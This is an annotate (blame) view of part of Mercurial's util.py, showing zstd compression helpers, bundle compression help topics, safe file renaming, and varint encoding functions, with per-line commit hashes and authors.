3807 chunks.append(z.flush()) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3808 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3809 if sum(map(len, chunks)) < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3810 return ''.join(chunks) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3811 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3812 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3813 def decompress(self, data): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3814 insize = len(data) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3815 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3816 try: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3817 # This was measured to be faster than other streaming |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3818 # decompressors. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3819 dobj = self._dctx.decompressobj() |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3820 chunks = [] |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3821 pos = 0 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3822 while pos < insize: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3823 pos2 = pos + self._decompinsize |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3824 chunk = dobj.decompress(data[pos:pos2]) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3825 if chunk: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3826 chunks.append(chunk) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3827 pos = pos2 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3828 # Frame should be exhausted, so no finish() API. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3829 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3830 return ''.join(chunks) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3831 except Exception as e: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3832 raise error.RevlogError(_('revlog decompress error: %s') % |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3833 str(e)) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3834 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3835 def revlogcompressor(self, opts=None): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3836 opts = opts or {} |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3837 return self.zstdrevlogcompressor(self._module, |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3838 level=opts.get('level', 3)) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3839 |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3840 compengines.register(_zstdengine()) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3841 |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3842 def bundlecompressiontopics(): |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3843 """Obtains a list of available bundle compressions for use in help.""" |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3844 # help.makeitemsdocs() expects a dict of names to items with a .__doc__. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3845 items = {} |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3846 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3847 # We need to format the docstring. So use a dummy object/type to hold it |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3848 # rather than mutating the original. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3849 class docobject(object): |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3850 pass |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3851 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3852 for name in compengines: |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3853 engine = compengines[name] |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3854 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3855 if not engine.available(): |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3856 continue |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3857 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3858 bt = engine.bundletype() |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3859 if not bt or not bt[0]: |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3860 continue |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3861 |
31811
d955b02d8ec6
util: fix %-formatting on docstring by moving a closing parenthesis
Augie Fackler <augie@google.com>
parents:
31792
diff
changeset
|
3862 doc = pycompat.sysstr('``%s``\n %s') % ( |
d955b02d8ec6
util: fix %-formatting on docstring by moving a closing parenthesis
Augie Fackler <augie@google.com>
parents:
31792
diff
changeset
|
3863 bt[0], engine.bundletype.__doc__) |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3864 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3865 value = docobject() |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3866 value.__doc__ = doc |
33818
ed04d7254a91
i18n: use saved object to get actual function information if available
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33799
diff
changeset
|
3867 value._origdoc = engine.bundletype.__doc__ |
ed04d7254a91
i18n: use saved object to get actual function information if available
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33799
diff
changeset
|
3868 value._origfunc = engine.bundletype |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3869 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3870 items[bt[0]] = value |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3871 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3872 return items |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3873 |
33820
fa7e30efe05a
i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33818
diff
changeset
|
3874 i18nfunctions = bundlecompressiontopics().values() |
fa7e30efe05a
i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33818
diff
changeset
|
3875 |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3876 # convenient shortcut |
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3877 dst = debugstacktrace |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3878 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3879 def safename(f, tag, ctx, others=None): |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3880 """ |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3881 Generate a name that it is safe to rename f to in the given context. |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3882 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3883 f: filename to rename |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3884 tag: a string tag that will be included in the new name |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3885 ctx: a context, in which the new name must not exist |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3886 others: a set of other filenames that the new name must not be in |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3887 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3888 Returns a file name of the form oldname~tag[~number] which does not exist |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3889 in the provided context and is not in the set of other names. |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3890 """ |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3891 if others is None: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3892 others = set() |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3893 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3894 fn = '%s~%s' % (f, tag) |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3895 if fn not in ctx and fn not in others: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3896 return fn |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3897 for n in itertools.count(1): |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3898 fn = '%s~%s~%s' % (f, tag, n) |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3899 if fn not in ctx and fn not in others: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3900 return fn |
35754
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3901 |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3902 def readexactly(stream, n): |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3903 '''read n bytes from stream.read and abort if less was available''' |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3904 s = stream.read(n) |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3905 if len(s) < n: |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3906 raise error.Abort(_("stream ended unexpectedly" |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3907 " (got %d bytes, expected %d)") |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3908 % (len(s), n)) |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3909 return s |
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3910 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3911 def uvarintencode(value): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3912 """Encode an unsigned integer value to a varint. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3913 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3914 A varint is a variable length integer of 1 or more bytes. Each byte |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3915 except the last has the most significant bit set. The lower 7 bits of |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3916 each byte store the 2's complement representation, least significant group |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3917 first. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3918 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3919 >>> uvarintencode(0) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3920 '\\x00' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3921 >>> uvarintencode(1) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3922 '\\x01' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3923 >>> uvarintencode(127) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3924 '\\x7f' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3925 >>> uvarintencode(1337) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3926 '\\xb9\\n' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3927 >>> uvarintencode(65536) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3928 '\\x80\\x80\\x04' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3929 >>> uvarintencode(-1) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3930 Traceback (most recent call last): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3931 ... |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3932 ProgrammingError: negative value for uvarint: -1 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3933 """ |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3934 if value < 0: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3935 raise error.ProgrammingError('negative value for uvarint: %d' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3936 % value) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3937 bits = value & 0x7f |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3938 value >>= 7 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3939 bytes = [] |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3940 while value: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3941 bytes.append(pycompat.bytechr(0x80 | bits)) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3942 bits = value & 0x7f |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3943 value >>= 7 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3944 bytes.append(pycompat.bytechr(bits)) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3945 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3946 return ''.join(bytes) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3947 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3948 def uvarintdecodestream(fh): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3949 """Decode an unsigned variable length integer from a stream. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3950 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3951 The passed argument is anything that has a ``.read(N)`` method. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3952 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3953 >>> try: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3954 ... from StringIO import StringIO as BytesIO |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3955 ... except ImportError: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3956 ... from io import BytesIO |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3957 >>> uvarintdecodestream(BytesIO(b'\\x00')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3958 0 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3959 >>> uvarintdecodestream(BytesIO(b'\\x01')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3960 1 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3961 >>> uvarintdecodestream(BytesIO(b'\\x7f')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3962 127 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3963 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3964 1337 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3965 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3966 65536 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3967 >>> uvarintdecodestream(BytesIO(b'\\x80')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3968 Traceback (most recent call last): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3969 ... |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3970 Abort: stream ended unexpectedly (got 0 bytes, expected 1) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3971 """ |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3972 result = 0 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3973 shift = 0 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3974 while True: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3975 byte = ord(readexactly(fh, 1)) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3976 result |= ((byte & 0x7f) << shift) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3977 if not (byte & 0x80): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3978 return result |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3979 shift += 7 |